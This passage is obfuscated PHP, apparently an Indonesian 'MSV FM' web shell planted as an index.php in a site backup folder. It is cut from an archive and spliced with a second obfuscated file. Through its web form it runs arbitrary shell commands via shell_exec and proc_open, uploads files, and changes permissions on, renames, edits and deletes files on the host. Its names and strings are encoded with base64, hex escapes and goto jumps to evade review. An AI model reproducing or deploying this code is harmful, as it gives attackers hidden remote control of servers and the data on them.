base64_decode("\x50\x47\x5a\166\142\x6e\x51\147\131\x32\x39\x73\142\x33\x49\x39\111\x6e\x4a\x6c\132\x43\111\x2b\121\x32\150\150\x62\155\x64\154\x49\106\x42\x6c\143\155\x31\x70\x63\x33\x4e\160\x62\62\x34\x67\122\62\106\x6e\131\x57\x77\x38\x4c\62\132\x76\142\156\x51\53\120\x47\112\x79\111\103\70\53"); goto terSf; ooLWI: echo "\x20\x20\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x3c\57\164\x64\x3e\15\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x3c\x2f\x74\162\76\15\xa\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x3c\164\x72\76\xd\xa\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\40\x3c\x74\x64\76\15\xa\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20"; goto RT5uH; db3jR: $ptg0t = base64_decode("\x59\x32\x51\x67") . escapeshellarg($eNhib) . base64_decode("\x49\103\131\x6d\x49\x41\75\75") . $ptg0t; goto Tp_tQ; Zo4KG: goto sjptv; goto UcthB; JKbjN: $_POST[base64_decode("\x62\x6d\106\x74\x5a\121\x3d\75")] = $_POST[base64_decode("\142\155\x56\63\x62\155\x46\164\132\x51\75\x3d")]; goto o2Scq; HxdLW: echo base64_decode("\120\x47\x5a\166\x62\x6e\121\x67\x59\62\x39\x73\x62\63\x49\71\111\x6d\144\x79\132\127\126\165\x49\x6a\65\126\143\x47\x78\166\x59\x57\121\x67\x51\155\126\x79\x61\x47\x46\172\x61\x57\167\x38\114\62\132\x76\x62\x6e\121\53\x50\107\112\x79\x49\x43\70\x2b"); goto XFeW5; jY5fd: goto R2UdA; goto Hd79L; EN3_T: goto U8L1I; goto SFhpo; YjR6T: if (function_exists(base64_decode("\x63\62\150\154\142\x47\x78\146\132\130\150\x6c\131\x77\x3d\75"))) { goto b4juq; } goto WYAJe; sq9Yt: GfDsJ: goto gNQbQ; jcnnT: $GnBD1 = proc_close($xYriD); goto tQzOT; LlnUN: RTEAh: goto ZIOCs; KJYi2: JOI1s: goto g7uqT; fRnML: YQAL6: goto gB6EX; yO0nh: if ($_POST[base64_decode("\x64\110\x6c\x77\x5a\x51\x3d\75")] == base64_decode("\132\155\x6c\163\132\121\75\75")) { goto vgSyr; } goto ESiZs; gNQbQ: $g8KwA = [0 => [base64_decode("\143\x47\154\x77\x5a\x51\x3d\x3d"), base64_decode("\143\x67\x3d\x3d")], 1 => [base64_decode("\x63\x47\154\x77\132\121\x3d\75"), base64_decode("\x64\167\x3d\x3d")], 2 => [base64_decode("\143\x47\154\x77\132\x51\75\x3d"), base64_decode("\144\167\x3d\75")]]; goto y117x; mW8q8: echo htmlspecialchars($_GET[base64_decode("\x5a\155\154\163\132\130\x4e\171\x59\167\75\75")]); goto l6gIm; hhwYZ: if (!isset($_POST[base64_decode("\x63\x47\x56\x79\142\121\75\x3d")])) { goto Nru3c; } goto D27Cv; UzF0q: if (empty($cFZDS)) { goto JOI1s; } goto pRpkk; D043_: Nru3c: goto B7DOm; WtD3B: echo base64_decode("\x50\107\x5a\166\x62\156\x51\147\x59\62\71\163\142\x33\x49\71\x49\156\112\x6c\132\x43\x49\x2b\x52\x6d\154\x73\x5a\123\102\110\131\127\x64\x68\x62\x43\x42\105\x61\x57\x68\150\143\110\126\x7a\120\103\x39\x6d\142\x32\65\60\120\152\x78\x69\x63\x69\70\x2b"); goto bvLtk; DsMQc: kErGv: goto fC3yG; qpJOJ: $cFZDS = ob_get_clean(); goto I6JjV; JmOrN: qhUkm: goto bLEki; dbJvS: if (!(isset($_GET[base64_decode("\x62\63\x42\x30\141\x57\x39\x75")]) && $_POST[base64_decode("\x62\63\102\60")] == base64_decode("\x5a\107\126\x73\132\130\122\154"))) { goto tH4Xk; } goto Ctmjb; OpG71: goto U8L1I; goto u8RPw; Hd79L: vgSyr: goto aIwfl; XMDmy: if (!isset($_POST[base64_decode("\x62\x6d\x56\63\x62\155\106\x74\132\x51\75\75")])) { goto IfRXy; } goto Wk8V9; g7uqT: echo "\x20\x20\40\40\x3c\x64\151\x76\x20\151\144\x3d\x22\x63\x6f\156\x74\145\x6e\164\x22\x3e\xd\12\x20\x20\40\40\40\40\40\40\74\164\x61\x62\154\x65\x20\x77\151\x64\x74\150\75\x22\x37\x30\x30\42\x20\x62\x6f\x72\x64\x65\162\x3d\42\60\42\40\143\145\x6c\154\x70\x61\x64\x64\x69\156\x67\75\x22\63\x22\40\x63\x65\x6c\154\163\x70\x61\x63\x69\156\x67\75\x22\x31\42\x20\x61\x6c\151\x67\x6e\x3d\x22\143\x65\x6e\164\x65\x72\42\76\15\xa\40\40\x20\x20\x20\40\40\40\x20\40\40\40\x3c\164\x72\76\15\12\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x20\x3c\164\144\76\x3c\x66\x6f\156\164\40\143\157\x6c\157\162\x3d\42\167\x68\151\x74\145\42\x3e\120\x61\164\x68\x20\72\74\x2f\x66\157\156\x74\76\15\12\x20\x20\x20\40\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40"; goto Kf0H2; RXMca: $SUhbu = fopen($_POST[base64_decode("\143\x47\x46\x30\141\101\75\75")], base64_decode("\x64\x77\x3d\75")); goto t6vt5; MgfvD: echo base64_decode("\x50\x43\71\60\131\127\x4a\x73\x5a\124\x34\70\131\156\x49\x76\x50\x67\60\113\111\103\101\147\x49\103\x41\147\111\103\101\x67\x49\103\101\x67\111\103\x41\147\x49\x44\x78\152\132\127\65\x30\132\130\111\x2b"); goto dbJvS; D27Cv: if (chmod($_POST[base64_decode("\143\x47\106\60\x61\101\75\x3d")], $_POST[base64_decode("\x63\x47\x56\x79\142\x51\75\75")])) { goto nkUWJ; } goto koubu; o2Scq: IfRXy: goto J2011; qqu6V: echo "\74\41\x44\x4f\103\124\x59\x50\105\40\110\124\115\x4c\x3e\15\xa\74\x68\164\x6d\x6c\x20\x6c\x61\156\147\75\42\x65\156\x22\x3e\xd\12\15\12\74\150\145\141\x64\76\xd\xa\x20\x20\40\40\x3c\x6d\x65\164\141\x20\143\x68\x61\x72\x73\145\164\x3d\42\165\x74\x66\55\70\x22\40\57\x3e\15\xa\40\x20\40\40\x3c\x74\x69\x74\x6c\x65\76\x4d\123\x56\x20\x46\x4d\74\x2f\x74\x69\x74\154\145\76\xd\xa\40\x20\40\40\x3c\155\x65\164\141\40\x6e\141\x6d\x65\75\x22\x76\151\145\167\x70\x6f\162\x74\x22\40\x63\157\x6e\164\145\156\164\x3d\42\x77\151\144\x74\x68\x3d\x64\x65\x76\x69\x63\145\55\167\151\144\164\x68\x2c\40\151\x6e\x69\x74\x69\141\154\55\163\x63\x61\154\x65\75\x31\x2e\x30\42\x20\57\76\15\xa\40\x20\40\x20\x3c\163\x74\x79\154\145\76\15\xa\x20\x20\x20\40\x20\x20\40\x20\x62\x6f\x64\171\x20\173\xd\12\x20\40\40\x20\40\x20\40\40\40\40\40\40\146\x6f\x6e\x74\55\146\141\155\x69\x6c\171\72\x20\x22\x61\162\x69\141\154\42\x2c\40\x63\165\x72\x73\x69\166\x65\x3b\15\12\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x62\x61\143\153\x67\162\x6f\x75\x6e\144\x2d\x63\x6f\x6c\157\162\x3a\x20\142\x6c\141\143\x6b\x3b\xd\xa\40\x20\40\40\40\40\40\x20\40\x20\x20\x20\143\157\154\x6f\x72\x3a\40\167\x68\x69\164\145\x3b\xd\xa\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\155\141\x72\147\x69\156\72\40\60\73\15\12\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\40\160\141\x64\144\151\156\x67\72\40\60\x3b\xd\xa\40\40\x20\40\x20\x20\40\x20\x7d\xd\xa\xd\12\40\x20\x20\40\40\x20\x20\x20\43\143\x6f\x6e\164\x65\x6e\164\40\173\15\12\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\x77\151\144\164\150\x3a\x20\61\60\x30\x25\x3b\xd\xa\x20\40\x20\40\x20\x20\40\40\x20\x20\40\40\155\x61\x72\x67\x69\x6e\x3a\x20\60\x20\x61\x75\164\157\73\15\xa\40\x20\40\40\40\x20\40\x20\40\40\x20\40\160\141\144\144\x69\x6e\147\72\x20\62\60\160\x78\x3b\xd\12\40\x20\x20\40\x20\40\x20\40\x7d\xd\12\15\12\x20\x20\40\x20\x20\x20\x20\x20\43\143\x6f\156\164\145\156\x74\40\x74\x72\x3a\x68\157\x76\145\x72\x20\x7b\15\12\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\142\x61\143\153\x67\x72\157\165\156\144\x2d\x63\x6f\x6c\x6f\162\x3a\x20\x72\x65\x64\x3b\xd\xa\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\164\145\x78\x74\55\163\x68\141\x64\x6f\167\72\40\x30\x70\x78\x20\60\160\x78\x20\61\x30\x70\170\40\43\x66\146\x66\x3b\xd\12\x20\40\40\x20\40\40\40\40\175\15\xa\15\xa\x20\x20\x20\x20\x20\x20\40\40\43\143\157\156\164\145\x6e\164\40\56\x66\x69\162\163\164\x20\173\15\xa\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x62\141\x63\153\147\162\157\x75\x6e\144\55\143\157\154\157\162\x3a\40\162\x65\x64\73\15\12\x20\40\40\x20\x20\40\40\40\175\xd\12\15\xa\x20\40\x20\x20\x20\40\x20\x20\x74\141\x62\154\x65\40\x7b\xd\12\40\40\x20\40\40\x20\x20\40\40\x20\40\40\x77\x69\144\164\x68\x3a\x20\61\60\x30\45\x3b\15\xa\40\40\x20\x20\40\x20\x20\40\x20\40\40\x20\142\157\x72\144\145\x72\72\40\x31\160\170\x20\x23\60\60\x30\x30\x30\x30\x20\x64\157\x74\x74\x65\x64\x3b\xd\xa\40\40\40\x20\x20\x20\x20\x20\175\xd\12\xd\12\40\x20\40\x20\40\40\40\x20\x61\40\x7b\15\12\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x63\157\x6c\157\x72\72\40\167\x68\151\164\x65\73\15\12\40\40\x20\x20\40\40\x20\40\40\40\40\40\x74\x65\x78\x74\55\144\x65\x63\157\162\x61\x74\x69\x6f\x6e\72\40\156\157\x6e\145\73\xd\12\x20\x20\40\x20\40\40\40\40\175\15\xa\xd\12\40\x20\40\x20\40\x20\40\x20\141\72\x68\157\x76\145\162\x20\x7b\xd\xa\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\143\157\154\x6f\162\x3a\x20\142\154\x75\145\73\xd\12\40\x20\40\x20\x20\40\40\40\40\40\40\40\x74\x65\170\x74\x2d\163\150\141\144\x6f\x77\x3a\40\60\160\x78\x20\60\x70\x78\x20\x31\x30\x70\170\x20\43\146\x66\146\146\146\146\73\xd\12\40\40\x20\40\40\40\40\x20\x7d\xd\xa\xd\xa\x20\40\40\40\40\40\x20\x20\x69\x6e\160\x75\164\x2c\15\12\40\x20\x20\40\40\x20\x20\40\x73\145\x6c\145\x63\164\x2c\xd\xa\40\40\40\x20\x20\x20\x20\x20\x74\x65\170\x74\x61\x72\145\x61\40\x7b\15\xa\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\x62\x6f\162\144\x65\x72\72\x20\x31\160\x78\40\43\60\x30\60\60\60\x30\40\x73\157\154\x69\144\x3b\15\12\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\55\155\x6f\172\55\x62\x6f\x72\144\145\x72\x2d\x72\141\x64\151\x75\163\72\x20\65\160\170\73\xd\xa\40\40\x20\40\x20\40\40\40\40\x20\x20\40\x2d\x77\145\142\153\151\x74\x2d\x62\x6f\162\x64\145\162\55\162\141\x64\x69\x75\163\72\x20\x35\x70\x78\73\15\12\40\x20\40\x20\40\40\40\40\x20\x20\40\40\142\x6f\x72\x64\x65\x72\x2d\162\x61\x64\151\165\x73\x3a\40\x35\x70\x78\73\15\xa\x20\x20\x20\40\x20\x20\40\x20\x7d\15\12\15\12\x20\x20\40\40\x20\40\x20\x20\164\145\170\x74\141\x72\x65\x61\40\173\xd\xa\40\40\x20\40\40\x20\40\40\40\40\40\x20\167\x69\144\x74\x68\x3a\x20\x31\60\x30\45\73\xd\xa\40\40\40\x20\x20\40\40\x20\x20\40\40\40\150\x65\151\x67\150\x74\x3a\40\x32\x30\x30\160\170\x3b\15\12\40\x20\40\40\x20\x20\x20\40\175\15\12\xd\12\x20\40\x20\40\40\x20\40\40\146\x6f\x72\155\40\x7b\15\xa\40\x20\40\x20\40\40\x20\x20\40\x20\40\x20\155\x61\x72\147\151\x6e\55\x62\x6f\x74\164\157\x6d\x3a\40\62\x30\160\170\x3b\15\12\40\x20\40\40\x20\x20\40\40\x7d\15\xa\40\x20\x20\40\74\x2f\163\x74\x79\154\x65\x3e\xd\12\x3c\x2f\150\x65\141\144\76\xd\12\xd\xa\x3c\142\x6f\144\171\76\15\12\40\40\x20\x20\74\x68\61\x20\x73\164\x79\154\x65\75\42\164\145\170\x74\x2d\141\154\x69\x67\156\x3a\x20\x63\x65\156\x74\x65\x72\73\42\76\x3c\x66\x6f\156\164\x20\x63\x6f\154\x6f\x72\x3d\42\x72\x65\x64\42\x3e\115\123\x56\x20\106\x4d\74\x2f\x66\157\156\164\x3e\74\x2f\x68\x31\76\15\12\40\x20\40\40\74\x66\x6f\162\155\40\155\145\164\x68\157\144\75\x22\120\117\123\x54\x22\x20\x61\x63\164\151\157\156\75\x22\x22\x3e\15\12\x20\x20\x20\40\x20\x20\x20\40"; goto sc7Og; RT5uH: if (!($_SERVER[base64_decode("\x55\153\x56\122\x56\125\x56\124\x56\x46\x39\116\x52\x56\122\111\x54\60\x51\75")] === base64_decode("\125\x45\71\x54\x56\101\x3d\75") && isset($_FILES[base64_decode("\x5a\x6d\154\163\x5a\x51\x3d\x3d")]))) { goto DGV0I; } goto spvh2; SzH3a: goto erOBh; goto hqxpU; tQzOT: if (!($GnBD1 === 0)) { goto v4X2N; } goto pslqQ; nVJmm: $EEcNs = stream_get_contents($k2_JX[1]); goto RVBd5; Wk8V9: if (rename($_POST[base64_decode("\143\x47\x46\60\141\x41\75\75")], $eNhib . base64_decode("\x4c\x77\75\x3d") . $_POST[base64_decode("\142\155\x56\x33\x62\155\106\164\132\121\x3d\75")])) { goto IMUZ9; } goto pFKrH; HmtS0: echo htmlspecialchars($cFZDS); goto tTEqW; wIGQj: R2UdA: goto HU3sV; FIdrG: if (!($JUInb === 0)) { goto iZF_7; } goto e7cMQ; lOYQE: echo "\x20\x20\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\40\40\40\40\40\40\x3c\x66\157\x72\x6d\40\145\x6e\143\164\171\x70\145\75\x22\x6d\x75\x6c\164\151\x70\141\162\164\x2f\x66\157\162\155\x2d\144\x61\x74\x61\x22\40\x6d\x65\164\x68\x6f\x64\x3d\x22\120\117\x53\124\42\x3e\15\12\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\x20\74\x66\x6f\x6e\164\x20\143\x6f\154\x6f\x72\x3d\x22\x77\150\x69\x74\x65\42\x3e\x46\151\x6c\145\40\125\160\154\x6f\x61\x64\40\x3a\74\x2f\x66\157\x6e\x74\76\x20\74\151\x6e\x70\x75\164\x20\164\x79\160\145\75\42\146\x69\154\x65\42\40\x6e\x61\155\145\75\x22\146\151\154\145\x22\x20\57\x3e\xd\xa\x20\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\x20\74\151\x6e\160\x75\164\40\x74\171\x70\145\x3d\x22\163\x75\x62\155\x69\x74\42\40\x76\x61\154\165\145\x3d\x22\165\160\x6c\x6f\141\144\x22\x20\57\x3e\15\xa\40\40\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\x20\40\74\x2f\x66\157\162\x6d\x3e\15\xa\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\74\x2f\x74\x64\76\15\xa\x20\40\x20\40\40\x20\40\40\40\40\40\x20\74\57\x74\x72\x3e\xd\xa\40\x20\40\x20\40\40\x20\40\40\40\x20\x20"; goto aZUG9; c47Tg: UR0pf: goto wU1cm; lAfRt: ob_start(); goto KrUl_; x1axg: echo "\74\x69\156\160\165\x74\x20\164\171\160\x65\x3d\47\164\145\170\164\47\x20\163\x69\x7a\x65\75\47\63\x30\x27\40\x68\x65\151\147\150\164\x3d\x27\61\60\x27\40\156\x61\155\x65\75\47\143\155\144\47\40\160\x6c\x61\143\145\150\x6f\154\144\x65\x72\75\x27\x45\x78\x65\x63\165\164\145\47\x3e\15\12\40\x20\x20\x20\40\40\x20\40\74\x69\156\x70\x75\x74\40\164\171\160\x65\x3d\x22\163\165\x62\155\151\x74\x22\40\x63\154\x61\163\163\75\42\x65\155\x70\x74\x79\55\x62\165\164\x74\x6f\x6e\x22\76\15\12\x20\x20\40\x20\x3c\x2f\x66\x6f\162\x6d\x3e\15\12\x20\40\40\40"; goto XJj68; pigTC: FK3Fw: goto gQvHh; KSye5: sjptv: goto JKbjN; xTKmK: v4X2N: goto VgLTh; SH23i: lRtUn: goto COytp; b0_uT: CoaX2: goto UzF0q; pFKrH: echo base64_decode("\120\x47\x5a\x76\x62\x6e\x51\x67\131\x32\71\163\x62\x33\111\x39\111\x6e\112\154\132\x43\x49\53\x52\x32\106\x75\x64\107\153\147\x54\x6d\106\164\131\123\102\x48\x59\x57\144\150\142\104\x77\166\x5a\x6d\x39\165\x64\104\x34\70\131\156\111\147\114\x7a\64\x3d"); goto Zo4KG; VgLTh: O0KrZ: goto SzH3a; Ijc0k: echo base64_decode("\120\x48\122\x79\x50\x6a\170\x30\132\104\x35\104\x64\x58\112\x79\x5a\x57\x35\60\x49\x44\x77\147\x4f\151\x41\x3d"); goto mW8q8; Yktzr: U8L1I: goto UHTmS; mumEQ: @header(base64_decode("\x57\x43\61\102\131\62\116\154\142\103\61\103\x64\127\132\x6d\x5a\130\x4a\x70\142\155\x63\66\111\107\65\x76")); goto jkGJj; bJHUY: $cFZDS = @shell_exec($ptg0t); goto zzI3D; fC3yG: fclose($SUhbu); goto fRnML; xvXT7: $cFZDS = null; goto iSjAX; KVaRj: if (function_exists(base64_decode("\143\x47\x46\x7a\x63\63\x52\157\143\156\125\75"))) { goto izxu2; } goto B0CWs; g9XEi: goto oUWKl; goto aL_nE; hqxpU: b4juq: goto bJHUY; Tp_tQ: if (function_exists(base64_decode("\x63\x48\112\x76\131\61\71\x76\143\107\x56\x75"))) { goto GfDsJ; } goto YjR6T; SfDSM: echo base64_decode("\x50\107\132\166\x62\x6e\121\x67\x59\x32\71\x73\x62\x33\111\x39\x49\156\x4a\154\132\x43\111\53\126\x58\102\163\142\x32\106\x6b\x49\105\144\150\x5a\62\106\163\x50\103\71\155\142\62\x35\60\120\x6a\x78\x69\143\x69\70\53"); goto g9XEi; sc7Og: echo htmlspecialchars(get_current_user()) . base64_decode("\121\x41\75\x3d") . htmlspecialchars(gethostbyname($_SERVER[base64_decode("\123\106\122\125\x55\x46\71\x49\x54\x31\x4e\x55")])) . base64_decode("\117\x69\102\53\111\x43\121\75"); goto x1axg; Ek3Vl: echo base64_decode("\x50\107\x5a\x76\142\156\x51\147\131\62\71\163\x62\x33\111\71\x49\x6d\x64\171\x5a\127\x56\165\111\x6a\65\x47\x61\x57\x78\154\x49\106\122\x6c\143\x6d\150\x68\x63\x48\126\x7a\x50\103\71\x6d\142\x32\x35\60\120\x6a\170\151\143\151\x38\53"); goto zwcaK; Z8Ra4: YrXO6: goto gEvvd; tdTZT: function jMfdd($g9JOM) { goto i3a6r; DIEmD: return $TRmyl; goto ER2Se; ZWJ7r: goto Te23S; goto X0Rp4; lPamP: $TRmyl = base64_decode("\131\147\75\x3d"); goto KS2L0; dn6mG: $TRmyl .= $eO1kW & 0x100 ? base64_decode("\143\147\75\75") : base64_decode("\x4c\121\x3d\75"); goto Ant4Q; JIQ2Q: $TRmyl = base64_decode("\x59\x77\75\x3d"); goto QoesE; Mc1fk: $TRmyl = base64_decode("\142\x41\x3d\75"); goto ZWJ7r; ygmGh: goto Te23S; goto hQaMb; NPbnu: if (($eO1kW & 0x6000) == 0x6000) { goto JC16O; } goto iPhBW; X0Rp4: zjHHP: goto FcnQb; WerKM: $TRmyl .= $eO1kW & 0x2 ? base64_decode("\x64\x77\75\75") : base64_decode("\x4c\121\x3d\x3d"); goto Lqlpu; EeryC: $TRmyl = base64_decode("\x5a\101\x3d\x3d"); goto nnCum; KAeI8: $TRmyl .= $eO1kW & 0x20 ? base64_decode("\x63\147\x3d\x3d") : base64_decode("\114\121\75\75"); goto PVU7w; QoesE: goto Te23S; goto k_Og4; KS2L0: goto Te23S; goto aj3o1; uEfF7: vPuHC: goto JIQ2Q; iPhBW: if (($eO1kW & 0x4000) == 0x4000) { goto iCG4U; } goto VsBro; Vum0Z: GPFgP: goto Mc1fk; PRuZM: if (($eO1kW & 0x8000) == 0x8000) { goto zjHHP; } goto NPbnu; nnCum: goto Te23S; goto uEfF7; PVU7w: $TRmyl .= $eO1kW & 0x10 ? base64_decode("\x64\x77\x3d\75") : base64_decode("\x4c\x51\x3d\75"); goto fJNLb; dNGBf: goto Te23S; goto yiAFU; D0sbV: $TRmyl .= $eO1kW & 0x40 ? $eO1kW & 0x800 ? base64_decode("\x63\167\75\75") : base64_decode("\x65\x41\75\x3d") : ($eO1kW & 0x800 ? base64_decode("\125\x77\75\x3d") : base64_decode("\114\121\x3d\75")); goto KAeI8; hQaMb: kPoX_: goto sVZIB; yiAFU: JC16O: goto lPamP; sVZIB: $TRmyl = base64_decode("\143\167\75\x3d"); goto b2Bbm; azH_T: if (($eO1kW & 0x1000) == 0x1000) { goto NFof3; } goto ve68k; mJ2k5: if (($eO1kW & 0xc000) == 0xc000) { goto kPoX_; } goto CFQwu; Lqlpu: $TRmyl .= $eO1kW & 0x1 ? $eO1kW & 0x200 ? base64_decode("\x64\x41\x3d\75") : base64_decode("\145\x41\x3d\75") : ($eO1kW & 0x200 ? base64_decode("\126\x41\75\75") : base64_decode("\x4c\x51\75\75")); goto DIEmD; i3a6r: $eO1kW = fileperms($g9JOM); goto mJ2k5; k_Og4: NFof3: goto iFRo5; FdqN7: Te23S: goto dn6mG; FcnQb: $TRmyl = base64_decode("\x4c\x51\75\75"); goto dNGBf; ve68k: $TRmyl = base64_decode("\144\x51\75\75"); goto ygmGh; CeviK: $TRmyl .= $eO1kW & 0x4 ? base64_decode("\143\x67\x3d\x3d") : base64_decode("\x4c\x51\75\x3d"); goto WerKM; b2Bbm: goto Te23S; goto Vum0Z; fJNLb: $TRmyl .= $eO1kW & 0x8 ? $eO1kW & 0x400 ? base64_decode("\143\x77\75\x3d") : base64_decode("\145\101\x3d\x3d") : ($eO1kW & 0x400 ? base64_decode("\x55\167\75\75") : base64_decode("\114\x51\x3d\x3d")); goto CeviK; VsBro: if (($eO1kW & 0x2000) == 0x2000) { goto vPuHC; } goto azH_T; Ant4Q: $TRmyl .= $eO1kW & 0x80 ? base64_decode("\x64\x77\75\75") : base64_decode("\114\121\x3d\x3d"); goto D0sbV; CFQwu: if (($eO1kW & 0xa000) == 0xa000) { goto GPFgP; } goto PRuZM; iFRo5: $TRmyl = base64_decode("\x63\x41\x3d\x3d"); goto FdqN7; aj3o1: iCG4U: goto EeryC; ER2Se: }
?> 2025/backup/data/yoi/index.php 0000666 00000140142 15134004077 0011741 0 ustar 00 = 1024) { goto PQz3D; } goto pqGcV; jvYDT: hVyIg: goto s1mbs; P6h9O: $UcY4R = round($UcY4R, 3); goto Ps05p; tRQH9: if (is_file($eNhib . base64_decode("\114\x77\x3d\75") . $g9JOM)) { goto OYpz8; } goto onZ5r; pqGcV: $UcY4R = $UcY4R . base64_decode("\111\x45\164\103"); goto P4SZt; DU1g4: echo JMFDD($eNhib . base64_decode("\114\x77\75\x3d") . $g9JOM); goto nRKkj; GuBLR: echo base64_decode("\120\x43\x39\x6d\x62\x32\x35\x30\120\147\x3d\x3d"); goto jvYDT; GUz8v: JOWNL: goto tgjC0; mPHlc: if (is_writable($eNhib . base64_decode("\114\x77\75\x3d") . $g9JOM)) { goto oiNdk; } goto fh1V0; tgjC0: echo base64_decode("\120\107\x5a\x76\142\x6e\121\x67\131\62\x39\x73\142\63\x49\x39\x49\156\x4a\154\132\x43\x49\x2b"); goto r2cHw; nFCqr: echo base64_decode("\120\x47\x5a\166\x62\156\121\x67\131\x32\x39\163\142\x33\111\x39\111\155\x64\171\132\127\x56\x75\x49\x6a\64\75"); goto LJ0lU; onZ5r: goto V3k_C; goto jKyEC; s1mbs: echo base64_decode("\x50\x43\71\152\x5a\x57\x35\60\x5a\x58\x49\x2b\120\x43\71\60\132\104\x34\116\x43\151\101\x67\111\x43\x41\x67\x49\x43\x41\x67\111\x43\101\147\111\x43\x41\x67\111\x43\x41\x67\x49\103\x41\147\x50\110\x52\153\120\152\170\152\x5a\x57\x35\60\132\x58\x49\53\120\107\132\x76\143\155\x30\x67\142\x57\x56\x30\141\x47\x39\153\x50\x53\112\121\x54\x31\116\x55\111\x69\102\150\x59\63\122\160\x62\x32\x34\71\111\x6a\x39\x76\143\x48\x52\x70\142\62\x34\x6d\143\x47\x46\60\x61\x44\60\x3d") . htmlspecialchars($eNhib) . base64_decode("\111\152\64\x4e\103\x69\101\x67\111\103\101\147\x49\103\101\x67\x49\103\101\147\111\103\101\x67\111\x43\x41\x67\x49\103\101\x67\111\x43\x41\147\111\104\x78\x7a\132\127\x78\154\x59\x33\x51\x67\142\x6d\106\164\x5a\124\60\151\142\63\x42\x30\x49\152\64\x4e\x43\151\x41\x67\x49\103\101\147\x49\103\x41\147\111\x43\101\x67\x49\x43\101\147\111\103\101\147\x49\103\x41\147\x49\103\x41\x67\x49\x43\101\147\x49\x43\x41\70\142\63\102\x30\x61\x57\x39\165\x49\x48\x5a\x68\x62\110\126\x6c\120\x53\111\151\120\154\116\x6c\142\107\x56\x6a\144\x44\167\x76\142\63\x42\x30\x61\x57\71\x75\120\x67\x30\x4b\111\103\101\x67\x49\x43\101\x67\x49\103\101\x67\111\103\x41\147\x49\x43\x41\x67\x49\103\x41\x67\x49\x43\101\x67\x49\x43\x41\147\111\x43\101\x67\111\x44\x78\x76\x63\110\122\x70\x62\62\x34\147\x64\155\x46\163\144\127\125\x39\x49\155\x52\x6c\x62\107\x56\x30\132\123\x49\53\122\107\126\x73\132\130\x52\x6c\x50\x43\71\166\143\x48\x52\x70\x62\x32\64\x2b\104\x51\157\x67\x49\103\x41\147\111\x43\101\x67\111\x43\101\147\111\x43\x41\x67\111\103\101\147\x49\x43\x41\x67\x49\103\101\x67\x49\x43\101\147\x49\103\x41\x67\120\x47\71\167\144\x47\154\166\142\x69\102\62\x59\127\x78\x31\132\x54\60\151\x59\x32\x68\x74\142\x32\x51\x69\120\x6b\116\157\x62\x57\71\153\120\103\71\166\143\110\x52\160\142\x32\64\x2b\104\121\x6f\147\111\x43\x41\147\111\x43\x41\x67\x49\x43\x41\147\x49\103\x41\147\x49\103\x41\147\x49\x43\x41\147\111\x43\101\x67\111\x43\101\147\x49\103\x41\x67\x50\107\x39\x77\144\x47\x6c\166\142\x69\x42\62\131\127\x78\x31\x5a\124\x30\x69\143\155\126\165\x59\127\x31\154\x49\152\x35\123\x5a\x57\65\x68\x62\127\x55\70\x4c\x32\x39\167\144\107\154\x76\x62\152\64\116\103\x69\x41\147\111\103\x41\x67\111\x43\101\147\x49\103\101\147\111\x43\x41\147\111\x43\x41\147\x49\x43\101\147\111\x43\101\x67\x49\x43\101\147\x49\x43\x41\70\x62\x33\x42\60\141\127\71\x75\111\x48\132\150\142\110\x56\x6c\120\123\x4a\154\x5a\x47\x6c\x30\111\x6a\x35\x46\132\x47\154\60\x50\x43\x39\x76\x63\x48\x52\160\142\62\x34\x2b\104\x51\157\x67\x49\x43\x41\x67\111\x43\x41\147\x49\103\101\147\111\103\x41\147\111\103\x41\147\x49\103\101\x67\111\103\x41\x67\x49\103\101\70\114\x33\116\x6c\142\x47\x56\x6a\144\x44\x34\x4e\x43\151\101\147\111\103\101\147\x49\x43\101\147\x49\103\x41\147\111\103\x41\147\x49\103\x41\147\x49\x43\101\147\x49\x43\x41\x67\x49\x44\170\x70\142\156\x42\x31\x64\x43\x42\60\145\x58\102\x6c\x50\x53\x4a\x6f\x61\x57\x52\x6b\x5a\x57\x34\x69\x49\107\x35\150\142\x57\x55\x39\x49\x6e\122\x35\143\x47\x55\151\111\110\132\150\x62\110\126\154\120\x53\112\155\141\x57\170\x6c\x49\152\x34\116\x43\x69\x41\x67\x49\103\101\x67\x49\x43\x41\147\111\103\101\x67\x49\103\101\x67\x49\103\x41\147\111\x43\x41\x67\111\103\101\147\111\x44\170\160\x62\156\102\61\x64\x43\102\x30\x65\x58\x42\x6c\x50\123\112\157\x61\x57\122\x6b\x5a\127\x34\151\111\x47\65\150\x62\x57\125\71\111\155\65\x68\142\x57\x55\x69\111\110\x5a\x68\142\110\x56\154\x50\123\111\75") . htmlspecialchars($g9JOM) . base64_decode("\111\152\64\116\x43\x69\x41\x67\x49\103\101\x67\111\x43\x41\x67\x49\103\x41\x67\x49\103\x41\x67\x49\x43\101\147\111\x43\101\x67\x49\x43\x41\147\111\104\x78\x70\142\x6e\x42\x31\144\103\102\x30\145\x58\102\x6c\x50\123\x4a\157\x61\127\122\153\x5a\127\64\x69\111\x47\65\150\x62\127\x55\x39\111\x6e\102\x68\144\107\147\151\x49\x48\x5a\150\142\x48\126\x6c\120\x53\111\x3d") . 